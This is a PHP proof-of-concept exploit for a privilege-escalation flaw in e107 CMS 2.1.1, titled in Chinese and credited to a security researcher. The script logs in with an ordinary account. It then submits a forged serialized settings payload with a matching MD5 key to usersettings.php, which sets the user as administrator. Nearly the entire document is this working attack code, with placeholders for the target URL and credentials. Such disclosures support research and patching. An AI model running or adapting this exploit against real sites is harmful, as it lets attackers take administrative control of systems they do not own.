e107 CMS 2.1.1 权限提升漏洞

<?php /** * Create and activate normal user using registration form, then get admin privilege using this exploit: * e107 CMS 2.1.1 Privilege Escalation * Kacper Szurek * http://security.szurek.pl */ function hack($url, $login, $pass, $cookie){ $ckfile = dirname(__FILE__) . $cookie; $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('username' => $login, 'userpass' => $pass, 'userlogin' => 'Sign In'))); curl_setopt($ch, CURLOPT_POST, 1); $content = curl_exec($ch); if (strpos($content, '?logout') === false) { die("Cannot login"); } $data = array(); $data['user_admin'] = 1; $data['user_perms'] = 0; $data['user_password'] = md5($pass); curl_setopt($ch, CURLOPT_URL, $url.'/usersettings.php'); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('SaveValidatedInfo' => 1, 'updated_data' => base64_encode(serialize($data)), 'updated_key' => md5(serialize($data)), 'currentpassword' => $pass))); $content = curl_exec($ch); if (strpos($content, 'Settings updated') === false) { die("Exploit probably failed"); } die('OK!'); } $url = "http://url_here"; // Standard user credentials $user = "login_here"; $pass = "password_here"; $cookie = "/cookie.txt"; hack($url, $user, $pass, $cookie);